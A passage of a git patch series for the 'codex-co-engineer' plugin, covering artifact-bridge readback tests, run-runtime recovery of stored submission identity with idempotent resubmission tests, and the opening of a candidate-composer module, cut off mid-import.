makeSanitizer().sanitize({ artifact_ref, source }); + return { + sanitized_ref: honest.sanitized_ref, + bytes: honest.bytes, + }; + }, + }; + const { bridge } = makeBridge({ sanitizer: mute }); + const captured = await bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(captured.redaction_count, null); + assert.equal(captured.sanitizer_version, null); + const projection = await bridge.projectAssignmentArtifacts(projectInput()); + const artifact = projection.artifacts[0]; + assert.equal(artifact.redaction_count, null); + assert.equal(artifact.sanitizer_version, null); + assert.equal(artifact.complete, null); + assert.notEqual(artifact.redaction_count, 0); + assert.notEqual(artifact.sanitizer_version, 1); + assert.notEqual(artifact.complete, true); + assert.notEqual(artifact.complete, false); +}); + +test('capture readback fails closed on substituted, partial, mismatched, or stale bytes', async () => { + const inner = makeRawStore(); + const swapped = wrapGet(inner, (record) => { + if (record === null) return null; + return { + artifact_ref: record.artifact_ref, + bytes: Buffer.alloc(record.bytes.byteLength, 0x78), + source_truncated: record.source_truncated, + }; + }); + const swappedBridge = makeBridge({ rawStore: swapped }).bridge; + const swappedError = await errorOf(() => swappedBridge.captureAssignmentArtifacts(captureInput())); + assert.equal(swappedError.code, 'artifact_bridge_store_failed'); + assertContentFree(swappedError); + + const partialInner = makeRawStore(); + const partial = wrapGet(partialInner, (record) => { + if (record === null) return null; + return { + artifact_ref: record.artifact_ref, + bytes: record.bytes.subarray(0, 4), + source_truncated: record.source_truncated, + }; + }); + const partialError = await errorOf(() => makeBridge({ rawStore: partial }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(partialError.code, 'artifact_bridge_store_failed'); + assertContentFree(partialError); + + const missingBytesInner = makeRawStore(); + const missingBytes = wrapGet(missingBytesInner, (record) => { + if (record === null) return null; + return { artifact_ref: record.artifact_ref }; + }); + const missingError = await errorOf(() => makeBridge({ rawStore: missingBytes }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(missingError.code, 'artifact_bridge_store_failed'); + assertContentFree(missingError); + + const staleInner = makeRawStore(); + const stale = wrapGet(staleInner, (record) => { + if (record === null) return null; + return { + artifact_ref: { + ...record.artifact_ref, + relative_path: FOREIGN_RELATIVE, + }, + bytes: record.bytes, + source_truncated: record.source_truncated, + }; + }); + const staleError = await errorOf(() => makeBridge({ rawStore: stale }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(staleError.code, 'artifact_bridge_store_failed'); + assertContentFree(staleError); + + const honest = makeBridge(); + await honest.bridge.captureAssignmentArtifacts(captureInput()); + const replayInner = honest.rawStore; + const replayMissing = wrapGet(replayInner, (record) => { + if (record === null) return null; + return { artifact_ref: record.artifact_ref }; + }); + const replayError = await errorOf(() => makeBridge({ rawStore: replayMissing }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(replayError.code, 'artifact_bridge_store_failed'); + assertContentFree(replayError); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs b/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs index 8e599b2..f73fb7b 100644 --- a/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs @@ -41,6 +41,7 @@ import { RUN_ID, SECRET_TEXT, captureInput, + digestOf, cleanupInput, decodeSelected, makeBridge, @@ -308,6 +309,67 @@ test('bounded projection clips selected bytes and reports paging facts', async ( source.slice(0, 32)); }); +test('complete, redacted, and versioned capture readback bind stored bytes', async () => { + const { bridge, rawStore } = makeBridge({ + sanitizer: makeSanitizer({ sanitizerVersion: 7 }), + }); + const complete = await bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(complete.source_truncated, false); + assert.equal(complete.complete, true); + assert.equal(complete.redaction_count, 0); + assert.equal(complete.sanitizer_version, 7); + const storedComplete = await rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(digestOf(storedComplete.bytes), complete.raw_ref.sha256); + assert.equal(Buffer.from(storedComplete.bytes).byteLength, complete.raw_ref.byte_length); + const completeProjection = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(completeProjection.artifacts[0].complete, true); + assert.equal(completeProjection.artifacts[0].source_truncated, false); + assert.equal(completeProjection.artifacts[0].redaction_count, 0); + assert.equal(completeProjection.artifacts[0].sanitizer_version, 7); + + const redactedBridge = makeBridge({ + sanitizer: makeSanitizer({ sanitizerVersion: 7 }), + }); + const redacted = await redactedBridge.bridge.captureAssignmentArtifacts(captureInput({ + source: SECRET_TEXT, + })); + assert.equal(redacted.redaction_count > 0, true); + assert.equal(redacted.sanitizer_version, 7); + assert.equal(redacted.complete, true); + const storedRedacted = await redactedBridge.rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(digestOf(storedRedacted.bytes), redacted.raw_ref.sha256); + const redactedProjection = await redactedBridge.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(redactedProjection.artifacts[0].redaction_count, redacted.redaction_count); + assert.equal(redactedProjection.artifacts[0].sanitizer_version, 7); + assert.equal(decodeSelected(redactedProjection.artifacts[0]).includes(REDACTED), true); +}); + +test('truncated capture stays incomplete across projection and restart', async () => { + const rawStore = makeRawStore(); + const first = makeBridge({ rawStore }); + const captured = await first.bridge.captureAssignmentArtifacts(captureInput({ + source_truncated: true, + })); + assert.equal(captured.source_truncated, true); + assert.equal(captured.complete, false); + const projected = await first.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projected.artifacts[0].source_truncated, true); + assert.equal(projected.artifacts[0].complete, false); + + const restarted = makeBridge({ rawStore, sanitizer: makeSanitizer() }); + const again = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(again.artifacts[0].source_truncated, true); + assert.equal(again.artifacts[0].complete, false); +}); + test('factory rejects missing injected seams', () => { assert.throws(() => createRunArtifactBridge({}), (error) => { assert.ok(error instanceof RunContractV1Error); From 1135c63356d79ac00cf3c6df3d9ccaf52f179e7e Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 23:23:45 +0000 Subject: [PATCH 137/151] fix(run-runtime): recover stored identity and never invent a digest Close B1: inspect/remember recover authoritative P24 submission identity after restart and leave incomplete identity unknown. Byte-identical resubmits stay created=false across inspect-first, status-first, remember-first, and submit-first order with one provider dispatch. Genuine identity conflicts remain runtime_identity_conflict without weakening P24 arbitration. --- docs/run-runtime.md | 11 ++ .../codex-co-engineer/mcp/v3/run-runtime.mjs | 156 ++++++++++++++---- .../test/fixtures/r1-run-runtime-fixtures.mjs | 14 ++ .../test/r1-run-runtime-adversarial.test.mjs | 70 ++++++++ .../test/r1-run-runtime-dependencies.test.mjs | 97 ++++++++--- .../test/r1-run-runtime.test.mjs | 66 ++++++++ 6 files changed, 359 insertions(+), 55 deletions(-) diff --git a/docs/run-runtime.md b/docs/run-runtime.md index 71d9ac8..a5cf001 100644 --- a/docs/run-runtime.md +++ b/docs/run-runtime.md @@ -52,6 +52,17 @@ one-submission authority: `scheduler.submitAssignments` runs only when `status: "idempotent"` and does not call the scheduler again. A different assignment body for the same `run_id` fails `runtime_identity_conflict`. +`inspectRun` and `rememberFromStore` never invent a placeholder digest or +identity fact. After restart they recover the authoritative stored +submission identity from `runStore.getByRunId` when that record is +durably available. Incomplete or unknown identity stays unknown and +fails closed: no fabricated conflict and no fabricated `created: true` +success. Conflict arbitration then belongs to `runStore.submit`. +Byte-identical resubmission returns `created: false` for inspect-first, +status-first, remember-first, and submit-first order. Every restart +permutation keeps exactly one provider dispatch. A genuinely different +immutable identity still fails `runtime_identity_conflict`. + Replay, fallback, direct-mode, merge/push/create-PR, GitHub/remote, worktree/branch/lock, candidate, and `lifecycle_root` keys fail closed with precise codes. diff --git a/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs index e19ef30..0156b8a 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs @@ -5,9 +5,11 @@ // handles and functions; it does not open roots, import scheduler or // artifact-bridge implementations, or own worker/boundary/lock recovery. // Exact P24 identity is the durable one-submission authority. Scheduler -// dispatch happens only when P24 reports created=true. Child terminal -// journal facts are accepted only after settleLocalTaskLifecycle returns -// final=true. cleanupLocalTaskLifecycle is invoked idempotently on +// dispatch happens only when P24 reports created=true. inspect/remember +// recover stored submission identity and never invent a placeholder +// digest. Child terminal journal facts are accepted only after +// settleLocalTaskLifecycle returns final=true. +// cleanupLocalTaskLifecycle is invoked idempotently on // terminal, cancel, and restart. Artifact cleanup is proof-bound and // never runs without that finality. P27 is composed as R24A // resolution_ready (ask-once selection already persisted). R25B is the @@ -219,6 +221,18 @@ const AGGREGATE_MISSING_CODES = capturedFreeze([ const JOURNAL_MISSING_CODES = capturedFreeze([ 'run_journal_not_found', ]); +const STORE_MISSING_CODES = capturedFreeze([ + 'run_store_not_found', + 'runtime_run_unknown', +]); +const STORE_IDENTITY_CONFLICT_CODES = capturedFreeze([ + 'run_identity_conflict', + 'run_idempotency_conflict', +]); +const SCHEDULER_MISSING_CODES = capturedFreeze([ + 'scheduler_run_unknown', + 'runtime_run_unknown', +]); const TERMINAL_LANE_STATUSES = capturedFreeze([ 'completed', 'failed', 'cancelled', 'unresolved', 'timeout', 'transport_lost', 'environment_blocked', @@ -595,6 +609,68 @@ function identityDigest(runId, baseSha, idempotencyKey, assignments) { return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(payload).digest('hex')}`; } +function assignmentsFromLanes(lanes) { + return lanes.map((lane) => ({ + access: lane.access, + assignment_id: lane.assignment_id, + model: lane.model, + provider: lane.provider, + required: lane.required !== false, + role: lane.role, + starting_ref: lane.starting_ref ?? null, + task_id: lane.task_id, + write_scope: lane.write_scope, + })); +} + +function storedSubmissionFacts(stored) { + if (stored === undefined || stored === null || typeof stored !== 'object' + || ARRAY_IS_ARRAY(stored) || IS_PROXY(stored)) { + return { durable: false, request_idempotency_key: null, base_sha: null }; + } + const key = stored.request_idempotency_key; + const requestKey = typeof key === 'string' && capturedTest(IDEMPOTENCY_KEY_PATTERN, key) + ? key + : null; + let baseSha = null; + const git = stored.git; + if (git !== undefined && git !== null && typeof git === 'object' && !ARRAY_IS_ARRAY(git) + && !IS_PROXY(git) && hasOwn(git, 'base_sha') && typeof git.base_sha === 'string') { + try { + assertBaseSha(git.base_sha, 'git.base_sha'); + baseSha = git.base_sha; + } catch (error) { + if (!(isTypedError(error) && error.code === 'invalid_format')) throw error; + } + } + return { durable: true, request_idempotency_key: requestKey, base_sha: baseSha }; +} + +function recoveredIdentityDigest(runId, facts, assignments) { + if (facts.request_idempotency_key === null || facts.base_sha === null + || !ARRAY_IS_ARRAY(assignments) || assignments.length === 0) { + return null; + } + return identityDigest(runId, facts.base_sha, facts.request_idempotency_key, assignments); +} + +function assertNoIdentityConflict(known, digest, idempotencyKey) { + if (!known) return; + if (typeof known.request_idempotency_key === 'string' + && known.request_idempotency_key !== idempotencyKey) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } + if (typeof known.digest === 'string' && known.digest !== digest) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } +} + +function mapStoreConflict(error) { + if (isTypedError(error) && capturedIncludes(STORE_IDENTITY_CONFLICT_CODES, error.code)) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } +} + function baseShaFromGit(git) { assertPlainObject(git, 'invalid_type', 'git', 'git'); if (!hasOwn(git, 'base_sha')) failRuntime('missing_key', 'git.base_sha', CONTENT_FREE.missing_key); @@ -1165,60 +1241,65 @@ export function createRunRuntime(dependencies) { const queues = new Map(); const journals = new Map(); - async function rememberFromStore(runId) { + async function recoverDurableRecord(runId, requireLanes) { + // Recover authoritative stored identity only. Never invent a digest. const existing = runs.get(runId); if (existing) return existing; + let stored = null; try { - await callInjected(injected.runStore.getByRunId, [runId], 'runtime_store_failed', + stored = await callInjected(injected.runStore.getByRunId, [runId], 'runtime_store_failed', 'runStore.getByRunId'); } catch (error) { - if (isTypedError(error) && (error.code === 'run_store_not_found' - || error.code === 'runtime_run_unknown')) { - failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + if (isTypedError(error) && capturedIncludes(STORE_MISSING_CODES, error.code)) { + if (requireLanes) { + failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + } + return null; } throw error; } + const facts = storedSubmissionFacts(stored); + if (!facts.durable) { + if (requireLanes) { + failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + } + return null; + } let schedulerReceipt = null; try { schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ run_id: runId, }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); } catch (error) { - if (!(isTypedError(error) && (error.code === 'scheduler_run_unknown' - || error.code === 'runtime_run_unknown'))) { + if (!(isTypedError(error) && capturedIncludes(SCHEDULER_MISSING_CODES, error.code))) { throw error; } } const lanes = ARRAY_IS_ARRAY(schedulerReceipt?.lanes) ? schedulerReceipt.lanes : []; - if (lanes.length === 0) { + if (requireLanes && lanes.length === 0) { failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); } - const assignments = lanes.map((lane) => ({ - access: lane.access, - assignment_id: lane.assignment_id, - model: lane.model, - provider: lane.provider, - required: lane.required !== false, - role: lane.role, - starting_ref: lane.starting_ref ?? null, - task_id: lane.task_id, - write_scope: lane.write_scope, - })); + const assignments = assignmentsFromLanes(lanes); const coordination = await loadCoordination(injected.aggregateAnchor, runId); const record = { run_id: runId, - base_sha: schedulerReceipt.base_sha, - digest: identityDigest(runId, schedulerReceipt.base_sha, 'sha256:' + '00'.repeat(32), - assignments), + base_sha: facts.base_sha + ?? (typeof schedulerReceipt?.base_sha === 'string' ? schedulerReceipt.base_sha : null), + digest: recoveredIdentityDigest(runId, facts, assignments), assignments, - request_idempotency_key: null, + request_idempotency_key: facts.request_idempotency_key, journal_mode: coordination !== null ? 'aggregate' : 'legacy', dispatched: true, + durable: true, }; runs.set(runId, record); return record; } + async function rememberFromStore(runId) { + return recoverDurableRecord(runId, true); + } + async function submitRun(request) { const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_SUBMIT_KEYS); const runId = requireKey(parsed, 'run_id', 'run_id'); @@ -1245,18 +1326,23 @@ export function createRunRuntime(dependencies) { CONTENT_FREE.runtime_selection_unresolved); } } - const known = runs.get(runId); - if (known && known.digest !== digest) { - failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + const known = await recoverDurableRecord(runId, false); + assertNoIdentityConflict(known, digest, idempotencyKey); + + let stored; + try { + stored = await callInjected(injected.runStore.submit, [storeInputFrom(parsed)], + 'runtime_store_failed', 'runStore.submit'); + } catch (error) { + mapStoreConflict(error); + throw error; } - - const stored = await callInjected(injected.runStore.submit, [storeInputFrom(parsed)], - 'runtime_store_failed', 'runStore.submit'); const created = stored?.created === true; - if (!created && known && known.digest !== digest) { - failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + if (created && known?.durable === true) { + failRuntime('runtime_store_failed', 'runStore.submit', CONTENT_FREE.runtime_store_failed); } - if (!created && known && known.digest === digest) { + assertNoIdentityConflict(known, digest, idempotencyKey); + if (!created && known && typeof known.digest === 'string' && known.digest === digest) { const handle = await bindJournal(injected, journals, known, false); const state = await journalState(handle); const schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs index 3dc32e7..d0935e7 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs @@ -562,3 +562,17 @@ export function createRuntime(overrides = {}) { clock, }; } + +export function createFreshRuntime(harness, overrides = {}) { + return createRuntime({ + runStore: harness.runStore, + runJournal: harness.runJournal, + aggregateAnchor: harness.aggregateAnchor, + attentionBatch: harness.attentionBatch, + scheduler: harness.scheduler, + artifactBridge: harness.artifactBridge, + lifecycle: harness.lifecycle, + clock: harness.clock, + ...overrides, + }); +} diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs index 69aaab9..33aa768 100644 --- a/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs @@ -16,6 +16,7 @@ import { HOSTILE_TOKEN, TASK_ID, createClock, + createFreshRuntime, createLifecycleFns, createMemoryAggregateAnchor, createMemoryArtifactBridge, @@ -235,6 +236,75 @@ test('forged inspect receipts cannot broaden path or candidate authority', async } }); +test('fresh inspect then a different assignment body conflicts without a second dispatch', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + await harnessA.runtime.submitRun(request); + const fresh = createFreshRuntime(harnessA); + await fresh.runtime.inspectRun({ run_id: request.run_id }); + const error = await errorOf(() => fresh.runtime.submitRun({ + ...request, + assignments: [makeAssignment({ taskId: 'task-hostile' })], + })); + assert.equal(error.code, 'runtime_identity_conflict'); + assertContentFree(error); + assert.equal(harnessA.scheduler.calls.submit, 1); + assert.equal(harnessA.scheduler.calls.delegate.length, 1); +}); + +test('fresh submit-first of a different immutable identity conflicts without replay', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + await harnessA.runtime.submitRun(request); + const fresh = createFreshRuntime(harnessA); + const error = await errorOf(() => fresh.runtime.submitRun({ + ...request, + request_idempotency_key: `sha256:${'ab'.repeat(32)}`, + })); + assert.equal(error.code, 'runtime_identity_conflict'); + assertContentFree(error); + assert.equal(harnessA.scheduler.calls.submit, 1); + assert.equal(fresh.scheduler.calls.submit, 1); +}); + +test('incomplete stored identity stays unknown and does not fabricate conflict or success', async () => { + const inner = createMemoryRunStore(); + const store = { + async submit(input) { + return inner.submit(input); + }, + async getByRunId(runId) { + const record = await inner.getByRunId(runId); + return { run_id: record.run_id }; + }, + }; + const harnessA = createRuntime({ runStore: store }); + const request = makeSubmitRequest(); + const first = await harnessA.runtime.submitRun(request); + assert.equal(first.created, true); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const fresh = createFreshRuntime(harnessA, { runStore: store }); + const inspected = await fresh.runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.created, false); + const replay = await fresh.runtime.submitRun(request); + assert.equal(replay.created, false); + assert.equal(replay.status, 'idempotent'); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const unknown = await errorOf(() => fresh.runtime.inspectRun({ run_id: 'missing-run-id' })); + assert.equal(unknown.code, 'runtime_run_unknown'); + assertContentFree(unknown); + const fabricated = await errorOf(() => createFreshRuntime(harnessA, { runStore: store }) + .runtime.submitRun({ + ...request, + request_idempotency_key: `sha256:${'cd'.repeat(32)}`, + })); + assert.equal(fabricated.code, 'runtime_identity_conflict'); + assertContentFree(fabricated); + assert.equal(harnessA.scheduler.calls.submit, 1); +}); + test('resume of a cancelled lane does not redispatch', async () => { const harness = createRuntime(); const request = makeSubmitRequest(); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs index a8bbe86..800b520 100644 --- a/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs @@ -67,37 +67,53 @@ function wrapJournal({ journalRoot, store, anchor }) { }; } +function missingAggregateAnchor() { + return { + async getCoordination() { + throw new RunContractV1Error('aggregate_run_not_found', 'run_id', 'missing'); + }, + }; +} + +function bindLegacyRuntime({ + runStore, + runJournal, + attentionBatch, + scheduler, + artifactBridge, + lifecycle, +}) { + return createRunRuntime({ + runStore, + runJournal, + aggregateAnchor: missingAggregateAnchor(), + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }); +} + async function withLegacyRuntime(fn) { const storeRoot = await makeStoreRoot('r1-p33-dep-store-'); const journalRoot = await makePrivateRoot('r1-p33-dep-journal-'); const attentionRoot = await makePrivateRoot('r1-p33-dep-attention-'); try { const runStore = await openRunStore(storeRoot); - const runJournal = wrapJournal({ journalRoot, store: runStore, anchor: { - async getCoordination() { - throw new RunContractV1Error('aggregate_run_not_found', 'run_id', 'missing'); - }, - } }); + const runJournal = wrapJournal({ journalRoot, store: runStore, anchor: missingAggregateAnchor() }); const attentionBatch = await openAttentionRoot(attentionRoot); const scheduler = createMemoryScheduler(); const artifactBridge = createMemoryArtifactBridge(); const lifecycle = createLifecycleFns({ final: true }); - const runtime = createRunRuntime({ - runStore, - runJournal, - aggregateAnchor: { - async getCoordination() { - throw new RunContractV1Error('aggregate_run_not_found', 'run_id', 'missing'); - }, - }, - attentionBatch, - scheduler, - artifactBridge, - settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, - cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, - clock: createClock(), + const runtime = bindLegacyRuntime({ + runStore, runJournal, attentionBatch, scheduler, artifactBridge, lifecycle, + }); + return await fn({ + runtime, runStore, runJournal, attentionBatch, scheduler, artifactBridge, + lifecycle, journalRoot, }); - return await fn({ runtime, runStore, scheduler, lifecycle, journalRoot }); } finally { await rm(storeRoot, { recursive: true, force: true }); await rm(journalRoot, { recursive: true, force: true }); @@ -129,6 +145,47 @@ test('legacy P24/P25 submit is durable, idempotent, and reopens the journal afte }); }); +test('A submits, fresh B inspects then identical submits, fresh C submit-first against P24', async () => { + await withLegacyRuntime(async (harness) => { + const request = makeSubmitRequest(); + const first = await harness.runtime.submitRun(request); + assert.equal(first.created, true); + assert.equal(harness.scheduler.calls.submit, 1); + const stored = await harness.runStore.getByRunId(request.run_id); + assert.equal(stored.request_idempotency_key, request.request_idempotency_key); + + const runtimeB = bindLegacyRuntime(harness); + const inspected = await runtimeB.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.created, false); + const replayB = await runtimeB.submitRun(request); + assert.equal(replayB.created, false); + assert.equal(replayB.status, 'idempotent'); + assert.equal(harness.scheduler.calls.submit, 1); + + const runtimeC = bindLegacyRuntime(harness); + const replayC = await runtimeC.submitRun(request); + assert.equal(replayC.created, false); + assert.equal(replayC.status, 'idempotent'); + assert.equal(harness.scheduler.calls.submit, 1); + assert.equal(harness.scheduler.calls.delegate.length, 1); + assert.equal(replayC.side_effects.replay, false); + assert.equal(replayC.side_effects.fallback, false); + assert.equal(replayC.side_effects.duplicate_dispatch, false); + + const conflict = makeSubmitRequest({ + submission: makeSubmission({ attempt: 2 }), + }); + await assert.rejects(() => bindLegacyRuntime(harness).submitRun(conflict), (error) => { + assert.equal(error.code, 'runtime_identity_conflict'); + return true; + }); + assert.equal(harness.scheduler.calls.submit, 1); + const afterConflict = await harness.runStore.getByRunId(request.run_id); + assert.equal(afterConflict.canonical_digest, stored.canonical_digest); + assert.equal(afterConflict.request_idempotency_key, stored.request_idempotency_key); + }); +}); + test('resume against a real P25 journal accepts terminal only after injected lifecycle finality', async () => { await withLegacyRuntime(async ({ runtime, scheduler, lifecycle }) => { const request = makeSubmitRequest(); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs index 93644da..8319a7e 100644 --- a/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs @@ -26,6 +26,7 @@ import { TASK_ID, createLifecycleFns, createMemoryScheduler, + createFreshRuntime, createRuntime, makeAssignment, makeSubmitRequest, @@ -137,6 +138,70 @@ test('a conflicting body for the same run id fails closed without a second dispa assertNoSecret(error); }); +test('A submits, fresh B inspects then identical submits, fresh C submit-first: one dispatch', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + const first = await harnessA.runtime.submitRun(request); + assert.equal(first.created, true); + assert.equal(first.status, 'dispatched'); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const harnessB = createFreshRuntime(harnessA); + const inspected = await harnessB.runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.created, false); + assert.equal(inspected.status, 'inspected'); + const replayB = await harnessB.runtime.submitRun(request); + assert.equal(replayB.status, 'idempotent'); + assert.equal(replayB.created, false); + assert.equal(replayB.side_effects.task_dispatched, false); + assert.equal(replayB.side_effects.replay, false); + assert.equal(replayB.side_effects.fallback, false); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const harnessC = createFreshRuntime(harnessA); + const replayC = await harnessC.runtime.submitRun(request); + assert.equal(replayC.status, 'idempotent'); + assert.equal(replayC.created, false); + assert.equal(replayC.side_effects.task_dispatched, false); + assert.equal(harnessA.scheduler.calls.submit, 1); + assert.deepEqual(harnessA.scheduler.calls.delegate, [ASSIGNMENT_ID]); +}); + +test('inspect-first, status-first, remember-first, and submit-first resubmits stay created=false', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + await harnessA.runtime.submitRun(request); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const orders = [ + ['submit-first', async (runtime) => runtime.submitRun(request)], + ['inspect-first', async (runtime) => { + await runtime.inspectRun({ run_id: request.run_id }); + return runtime.submitRun(request); + }], + ['status-first', async (runtime) => { + await runtime.resumeRun({ run_id: request.run_id }); + return runtime.submitRun(request); + }], + ['remember-first', async (runtime) => { + await runtime.inspectRun({ run_id: request.run_id }); + await runtime.resumeRun({ run_id: request.run_id }); + return runtime.submitRun(request); + }], + ]; + for (const [order, act] of orders) { + const fresh = createFreshRuntime(harnessA); + const receipt = await act(fresh.runtime); + assert.equal(receipt.created, false, order); + assert.equal(receipt.status, 'idempotent', order); + assert.equal(receipt.side_effects.task_dispatched, false, order); + assert.equal(receipt.side_effects.duplicate_dispatch, false, order); + assert.equal(receipt.side_effects.replay, false, order); + assert.equal(receipt.side_effects.fallback, false, order); + assert.equal(harnessA.scheduler.calls.submit, 1, order); + } +}); + test('R24A/P27 awaiting_selection fails closed before scheduler dispatch', async () => { const harness = createRuntime(); harness.aggregateAnchor.phaseByRun.set(makeSubmitRequest().run_id, 'awaiting_selection'); @@ -380,6 +445,7 @@ test('the runtime module does not import worker, boundary, supervisor, server, o assert.doesNotMatch(MODULE_SOURCE, /github\.com/u); assert.doesNotMatch(MODULE_SOURCE, /CHANGELOG/u); assert.doesNotMatch(MODULE_SOURCE, /future-work/u); + assert.doesNotMatch(MODULE_SOURCE, /00'\.repeat\(32\)/u); }); test('lifecycle secret fields are stripped from receipts', async () => { From 1d14a906ec4bd9cd7ec8b7a5ad68bc6277c80c1a Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 00:22:04 +0000 Subject: [PATCH 138/151] feat(v3): compose frozen verified child deltas into a run-owned candidate Apply binary-safe writer deltas in manifest order onto the immutable run base, revalidate path ownership and P28/P30 Git policy, and create only the one-parent non-authoritative candidate ref. Conflicts are never repaired; required missing, rejected, or unresolved writers block ready. --- .../mcp/v3/run-candidate-composer.mjs | 1254 +++++++++++++++++ .../r1-run-candidate-composer-fixtures.mjs | 314 +++++ .../test/r1-run-candidate-composer.test.mjs | 268 ++++ 3 files changed, 1836 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs b/plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs new file mode 100644 index 0000000..ae24389 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs @@ -0,0 +1,1254 @@ +// RunCandidateComposerV1 — deterministic run-owned candidate composition (P35; +// ADR 0001 `run_owned_candidate_composition`, `candidate_binary_safe_manifest_order`, +// `candidate_git_policy_revalidation`, `run_owned_candidate_ref_namespace`, +// `diagnostic_partial_candidate_never_ready`, `codex_only_final_acceptance`). +// +// Additive v3 module. It composes frozen, already-verified writer deltas in +// binary-safe manifest order onto the immutable run base, revalidates path +// ownership plus P28/P30 Git policy, and creates only the one-parent +// non-authoritative ref refs/codex-co-engineer/runs//candidate. +// Conflicts are never repaired. Required missing, rejected, or unresolved +// writer lanes block ready. Any diagnostic partial output is +// incomplete_candidate and can never receive ready_for_codex_review. +// Codex retains sole final acceptance/integration authority. +// +// This module does not import or own the server, supervisor, worker, +// provider, registry, runtime, scheduler, artifact-bridge, or release +// surfaces. Mutation is argv-only local Git plumbing under a disposable +// index. Remote, protected, default, tag, and merge refs are never written. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { denyWorkerRemoteMutation } from './credential-boundary.mjs'; +import { + MAX_DURATION_MS, + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from './evidence-bundle.mjs'; +import { + ACTOR_VALUES, + CANDIDATE_REF_LEAF, + CANDIDATE_REF_NAMESPACE, + 